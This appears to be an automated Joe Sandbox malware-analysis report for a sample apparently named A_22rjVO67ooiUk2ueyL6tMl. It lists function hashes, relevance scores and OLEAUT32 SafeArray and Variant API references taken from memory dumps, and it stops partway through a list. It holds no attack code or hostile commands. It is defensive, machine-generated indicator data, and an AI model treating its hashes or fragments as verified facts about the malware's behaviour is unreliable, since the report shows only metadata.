Opcode ID: 4d89992c234543e85b0a8cf62f791d62df0c59ab8ae3ddc2e7025dd2958153cc
Instruction ID: 2029aa17cb692b38da76665a7d2a1474761d01e228d0eaa3a1b92552d14a6359
Opcode Fuzzy Hash: 4d89992c234543e85b0a8cf62f791d62df0c59ab8ae3ddc2e7025dd2958153cc
Instruction Fuzzy Hash: 6A918D71D042499FCB04DFE8C8949AEBBB4FF59314F90866CE12AEB240D730E906CB95

Function 02A2BDA8 Relevance: 7.1, Strings: 5, Instructions: 828COMMON

Download Yara Rule

Strings

,aq, xrefs: 02A2C4E7
Haq, xrefs: 02A2C7D0
,aq, xrefs: 02A2C4F7
(o]q, xrefs: 02A2C759
(o]q, xrefs: 02A2C763

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq$Haq
API String ID: 0-2157538030
Opcode ID: dbc1251680b72636144bde1cce1d28af4e1509baebd260aa50bab3f95d40410d
Instruction ID: 616895a5f804253b98d3f660cecf96f07bb52d5392c79f3d44ee2a3fdb6de748
Opcode Fuzzy Hash: dbc1251680b72636144bde1cce1d28af4e1509baebd260aa50bab3f95d40410d
Instruction Fuzzy Hash: AE627E34A00125DFCB18DF6DC984A6EB7B3BF88724B16856AE8059B365DF34EC45CB90

Function 05BC26F8 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c4a28dadb981f2ebf7bcd18f6741d06c11d77f3ae851181ee4921117bd528f7
Instruction ID: 2e06121318e296755b1c37322ff8b79e933bdb2f0d9b9735fd4d40c56c54ce83
Opcode Fuzzy Hash: 7c4a28dadb981f2ebf7bcd18f6741d06c11d77f3ae851181ee4921117bd528f7
Instruction Fuzzy Hash: BB32AF74E012288FDB64DFA9C990BEDBBB2BF89300F1081AAD549A7354DB345E81CF51

Function 02A28E40 Relevance: .4, Instructions: 402COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3586c462ee0b700b8995092312f41e102c61401b92bead682c4df5fb5bdffb3
Instruction ID: a97ab61c9e4a96b5848e97f842f96533aa18723e6d3866e5e0b8d3a6e968614c
Opcode Fuzzy Hash: e3586c462ee0b700b8995092312f41e102c61401b92bead682c4df5fb5bdffb3
Instruction Fuzzy Hash: CA127F74E01229CFDB64DF69C994B9DBBB2BF89304F1081AAD409AB365DB305E85CF50

Function 05BC26DC Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a51259607c591ea7dada6fcebb1f89a659b396f887d08380268734ec97284b19
Instruction ID: 72a1e8000734464c8cee1022ded6bdb63db935dc1102b54a58cf9b66804d0ee0
Opcode Fuzzy Hash: a51259607c591ea7dada6fcebb1f89a659b396f887d08380268734ec97284b19
Instruction Fuzzy Hash: 2591C574E012289FDB64DF69C890BDDBBF2BF89300F1085AAD509AB354DB305A85CF51

Function 68969357 Relevance: 41.0, APIs: 21, Strings: 1, Instructions: 2492COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 689684BF
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 689684D2
SafeArrayGetElement.OLEAUT32 ref: 6896850A
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 689694C1
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 689694D4
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6896950C
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 689697A4
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 689697B7
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 689697F2

Part of subcall function 68963A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68963B71
Part of subcall function 68963A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68963B83

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 68969D5F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68969D72
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 68969DAF

Part of subcall function 68963A90: SafeArrayDestroy.OLEAUT32(?), ref: 68963BCF

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6896A1BC
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6896A1CF
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6896A20C
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6896AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6896AEBF

Strings

A, xrefs: 6896AD44

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: A
API String ID: 959723449-3554254475
Opcode ID: 11359bf9e9031a5625f43d09b2d17d60f34c965b6140bc3c1cf58914f897aa2c
Instruction ID: 3edd601f8c596ef1ea3d6d4a7c6a2fae04066536b956a9c7c63050b7df1cc84d
Opcode Fuzzy Hash: 11359bf9e9031a5625f43d09b2d17d60f34c965b6140bc3c1cf58914f897aa2c
Instruction Fuzzy Hash: 26239374A00205DFEB00DFA4CC84F9DB7F9AF49318F948094EA19AF296DB71E985CB51

Function 68962970 Relevance: 25.8, APIs: 17, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 689629F6
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 68962A08
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 68962A2F
VariantInit.OLEAUT32(?), ref: 68962ABB
VariantInit.OLEAUT32(?), ref: 68962B3F
VariantClear.OLEAUT32(?), ref: 68962C04
VariantClear.OLEAUT32(?), ref: 68962C0B
VariantClear.OLEAUT32(?), ref: 68962C12
VariantClear.OLEAUT32(?), ref: 68962C96
VariantClear.OLEAUT32(?), ref: 68962C9D
VariantClear.OLEAUT32(?), ref: 68962CD6
VariantClear.OLEAUT32(?), ref: 68962CDD
VariantClear.OLEAUT32(?), ref: 68962CE4
SafeArrayDestroy.OLEAUT32(?), ref: 68962D1B
VariantClear.OLEAUT32(?), ref: 68962D45
VariantClear.OLEAUT32(?), ref: 68962D4C
VariantClear.OLEAUT32(?), ref: 68962D53

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$BoundInit$DestroyElement
String ID:
API String ID: 214056513-0
Opcode ID: 166da155e4d5c3fdc0d2492789b99918de59e5a86390737fb995a2ba70e3a907
Instruction ID: 30fb3a6141bac6e7ea2a86c91f740115ce87e81e8c3c922760b44b84a863e85f
Opcode Fuzzy Hash: 166da155e4d5c3fdc0d2492789b99918de59e5a86390737fb995a2ba70e3a907
Instruction Fuzzy Hash: D6C159716083419FE700CFA8C884A5BBBE9FF99314F60895DF6A5CB260C775E885CB52

Function 6895AF30 Relevance: 24.3, APIs: 16, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6895AF75
VariantInit.OLEAUT32(?), ref: 6895AF7C
VariantInit.OLEAUT32(?), ref: 6895AF83
VariantCopy.OLEAUT32(?,?), ref: 6895B00D
VariantClear.OLEAUT32(?), ref: 6895B027
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6895B19C
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6895B1AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 6895B1C5
_memmove.LIBCMT ref: 6895B1E6
SafeArrayUnaccessData.OLEAUT32(?), ref: 6895B1EF
VariantClear.OLEAUT32(?), ref: 6895B237
VariantClear.OLEAUT32(?), ref: 6895B23E
VariantClear.OLEAUT32(?), ref: 6895B245
VariantClear.OLEAUT32(?), ref: 6895B29D
VariantClear.OLEAUT32(?), ref: 6895B2A4
VariantClear.OLEAUT32(?), ref: 6895B2AB

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$BoundData$AccessCopyUnaccess_memmove
String ID:
API String ID: 3403836469-0
Opcode ID: 55c523c039bdefd90bb63d902d8ecb8f4414fae8b1acd97e3e38b6691bb2f4c2
Instruction ID: 8ed006b750185df1044d33b5bf0aa16a423567e1e5d66d8c2ab40c43b59592a7
Opcode Fuzzy Hash: 55c523c039bdefd90bb63d902d8ecb8f4414fae8b1acd97e3e38b6691bb2f4c2
Instruction Fuzzy Hash: 1BC148B26083419FD700DF68C88496BB7F9FB99304F90496DF669DB250D731E905CBA2

Function 6896D410 Relevance: 24.3, APIs: 16, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6896D4B3
VariantInit.OLEAUT32 ref: 6896D4C5
VariantInit.OLEAUT32(?), ref: 6896D4CC
_malloc.LIBCMT ref: 6896D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6896D58B
SafeArrayCreateVector.OLEAUT32 ref: 6896D5A6
SafeArrayAccessData.OLEAUT32 ref: 6896D5B8

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayInitSafeVariant$CreateVector$AccessData_malloc
String ID:
API String ID: 1552365394-0
Opcode ID: 4f0d50f77f02e2f07aee1c7093134e889f2a229b33119ef1b4b981f2c22c2262
Instruction ID: 04a1389187644ad6d9413b5b2632cb2972b4012f673727294723a1005a54f210
Opcode Fuzzy Hash: 4f0d50f77f02e2f07aee1c7093134e889f2a229b33119ef1b4b981f2c22c2262
Instruction Fuzzy Hash: 9FB159B56083009FD314CF28C880A5BB7E9FF99324F54895DF8A597351E732E945CB92

Function 6896D468 Relevance: 21.2, APIs: 14, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6896D4B3
VariantInit.OLEAUT32 ref: 6896D4C5
VariantInit.OLEAUT32(?), ref: 6896D4CC
_malloc.LIBCMT ref: 6896D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6896D58B
SafeArrayCreateVector.OLEAUT32 ref: 6896D5A6
SafeArrayAccessData.OLEAUT32 ref: 6896D5B8
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896D601
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896D63E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$InitVariant$CreateElementVector$AccessData_malloc
String ID:
API String ID: 2723946344-0
Opcode ID: e4323662194c405bff77cfb83d078ce8847fb685f670afdf8e78a77356e69383
Instruction ID: e6fa334adc1bf80fc0aec292b5d6976e7fed032c29042ef852918b8b22d1c0bc
Opcode Fuzzy Hash: e4323662194c405bff77cfb83d078ce8847fb685f670afdf8e78a77356e69383
Instruction Fuzzy Hash: 229149B56083019FE314CF28C880A5BB7F9BF89318F64895DF9A58B351D732E945CB92

Function 689644C0 Relevance: 19.8, APIs: 13, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 689644FF
VariantInit.OLEAUT32(?), ref: 68964505
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 68964516
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 68964551
VariantClear.OLEAUT32(?), ref: 6896455A
SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 68964579
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 68964594
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 689645B5
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 689645CE
std::tr1::_Xweak.LIBCPMT ref: 6896475A
SafeArrayDestroy.OLEAUT32(?), ref: 68964777
VariantClear.OLEAUT32(?), ref: 68964787
VariantClear.OLEAUT32(?), ref: 6896478D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$DestroyXweakstd::tr1::_
String ID:
API String ID: 1304965753-0
Opcode ID: bae624b669ca20d441a9bf4b232b56d29fdb5efbfe3dfb001a01a3520a1696a4
Instruction ID: 67e1e4893564571499062dbdbae393b6e4d266264cf0ecceda2635520555bd93
Opcode Fuzzy Hash: bae624b669ca20d441a9bf4b232b56d29fdb5efbfe3dfb001a01a3520a1696a4
Instruction Fuzzy Hash: B7A12B75A0020A9FDB14DBE4C984EAFB7B9FF89710F544629E506EB780C631E941CF60

Function 6896BF00 Relevance: 18.2, APIs: 12, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6896BF3D
VariantInit.OLEAUT32(?), ref: 6896BF4A
VariantInit.OLEAUT32(?), ref: 6896BF50
VariantInit.OLEAUT32(?), ref: 6896BF56
VariantInit.OLEAUT32 ref: 6896C04D
VariantCopy.OLEAUT32(?,?), ref: 6896C054
VariantInit.OLEAUT32 ref: 6896C085
VariantCopy.OLEAUT32(?,?), ref: 6896C08C
VariantClear.OLEAUT32(?), ref: 6896C118
VariantClear.OLEAUT32(?), ref: 6896C11E
VariantClear.OLEAUT32(?), ref: 6896C124
VariantClear.OLEAUT32(?), ref: 6896C12A

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: 4a4ef4b4333fac1039a7d6ab00404df7ce06c4c11b0bdab7a349ef0f98611f53
Instruction ID: 4e92d9ed41312c090286c6bbbb73a53fe2ce01913bad919fe4fcb8820eb517ca
Opcode Fuzzy Hash: 4a4ef4b4333fac1039a7d6ab00404df7ce06c4c11b0bdab7a349ef0f98611f53
Instruction Fuzzy Hash: 1A819C71A00219AFDF04DFA8C884FEEBBB9FF49318F544159E905AB240DB75E945CBA0

Function 689664D0 Relevance: 18.2, APIs: 12, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6896650C
VariantInit.OLEAUT32(?), ref: 68966519
VariantInit.OLEAUT32(?), ref: 68966520
SafeArrayCreateVector.OLEAUT32(0000000C), ref: 68966531
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896656D
VariantClear.OLEAUT32(?), ref: 68966576
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 689665B6
VariantClear.OLEAUT32(?), ref: 689665BF
SafeArrayDestroy.OLEAUT32(00000000), ref: 68966666
VariantClear.OLEAUT32(?), ref: 68966677
VariantClear.OLEAUT32(?), ref: 6896667E
VariantClear.OLEAUT32(?), ref: 68966685

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: ffdf950350e90a70fb06f5c46c931d590419557791b66f7fcd2a8fd8c6162302
Instruction ID: 2f08e201dabfb1905840f52e200181af8e06a79d97c96ac8f1b5890afc59387c
Opcode Fuzzy Hash: ffdf950350e90a70fb06f5c46c931d590419557791b66f7fcd2a8fd8c6162302
Instruction Fuzzy Hash: 635139722083059FD701DF64C880A5BBBF8EFD9714F40891EFAA587250EB71E905CB92

Function 6896CB90 Relevance: 18.1, APIs: 12, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6896CBCA
VariantInit.OLEAUT32(?), ref: 6896CBD3
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6896CBE4
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6896CBF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6896CC0D
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6896CC39
VariantClear.OLEAUT32(?), ref: 6896CC42
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6896CC5D
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6896CC77
SafeArrayDestroy.OLEAUT32(00000000), ref: 6896CCEC
VariantClear.OLEAUT32(?), ref: 6896CCFC
VariantClear.OLEAUT32(?), ref: 6896CD02

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$Destroy
String ID:
API String ID: 3548156019-0
Opcode ID: 5dbad9fdaa3b9266139f27f58693d2c9d833507079a9238f3dfcbf10dfd1edb4
Instruction ID: b8b4d9194ce963f391b5742ffd0a1af063ab11558ac5317b844cb28399100184
Opcode Fuzzy Hash: 5dbad9fdaa3b9266139f27f58693d2c9d833507079a9238f3dfcbf10dfd1edb4
Instruction Fuzzy Hash: 39515DB5E002099FDB00DFA4CC84EEEBBB8FF49714F40855AEA15A7241D775A941CBA0

Function 6895A350 Relevance: 16.7, APIs: 11, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6895A393
VariantInit.OLEAUT32(?), ref: 6895A39A
VariantInit.OLEAUT32(?), ref: 6895A3A1
VariantCopy.OLEAUT32(?,?), ref: 6895A3EF
VariantClear.OLEAUT32(?), ref: 6895A409
VariantClear.OLEAUT32(?), ref: 6895A50A
VariantClear.OLEAUT32(?), ref: 6895A511
VariantClear.OLEAUT32(?), ref: 6895A518
VariantClear.OLEAUT32(?), ref: 6895A55E
VariantClear.OLEAUT32(?), ref: 6895A565
VariantClear.OLEAUT32(?), ref: 6895A56C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
